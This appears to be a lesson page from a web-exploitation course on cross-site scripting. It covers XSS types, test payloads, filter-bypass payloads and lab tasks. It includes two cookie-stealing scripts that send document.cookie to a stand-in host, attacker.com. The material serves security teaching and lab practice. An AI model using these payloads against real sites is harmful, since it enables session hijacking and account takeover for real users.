DAY 3

WEEK 2 — WEB EXPLOITATION

Cross-Site Scripting (XSS)

What is XSS?

Cross-Site Scripting (XSS) allows attackers to inject malicious JavaScript into web pages that other users visit. Unlike SQL injection which targets the database, XSS targets other users' browsers.

XSS is one of the most prevalent web vulnerabilities. It can lead to session hijacking, credential theft, defacement, and even full account takeovers.

Three Types of XSS

Reflected XSS	Script is in the URL/request and reflected back in the response. Requires the victim to click a malicious link.
Stored XSS	Script is saved in the database and executed every time the page loads. Most dangerous — no victim interaction needed beyond visiting the page.
DOM-based XSS	Script manipulates the DOM directly via JavaScript. Harder to detect — never touches the server.

The Attack — Injecting Script

Basic Test Payload

Always start by testing if any field reflects your input unsanitized:

```
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"'><script>alert(1)</script>
```

Cookie Stealing (The Real Attack)

When alert() works, the real payload escalates to stealing session cookies:

```
<script>
  document.location='https://attacker.com/steal?c='+document.cookie
</script>
```

```
// Or using fetch (stealthier)
<script>
  fetch('https://attacker.com/steal?c='+btoa(document.cookie))
</script>
```

Why cookies?

Session cookies are like temporary passwords. If an attacker gets your session cookie, they can impersonate you without knowing your actual password!

Bypass Techniques

Many apps try to filter XSS. Here are common bypasses:

```
// If <script> is blocked:
<IMG SRC=x onerror=alert(1)>
<body onload=alert(1)>
<input autofocus onfocus=alert(1)>

// Case variation bypass:
<ScRiPt>alert(1)</ScRiPt>

// Double encoding:
%3Cscript%3Ealert(1)%3C/script%3E

// Template literals:
<svg><script>alert`1`</script>
```

Tools

Browser DevTools

Inspect the page source (Ctrl+U) to see where your input lands. If it's inside an HTML attribute, script tag, or JavaScript variable, the exploit technique changes.

XSS Cheat Sheets

PortSwigger's XSS cheat sheet contains hundreds of payloads for every context — bookmark it now!

Your Task for Today

1. Go to https://hackshield.onrender.com/xss/ and read about xss
2. Go to https://hackshield.onrender.com/xss/?lab=tasks and complete the given task.

📚 Reference Links

- PortSwigger XSS Labs (Free, Interactive)
- OWASP XSS Prevention Cheat Sheet
- PortSwigger XSS Cheat Sheet — All Payloads
- XSS Game by Google — Fun Practice
- HackTheBox XSS Academy Module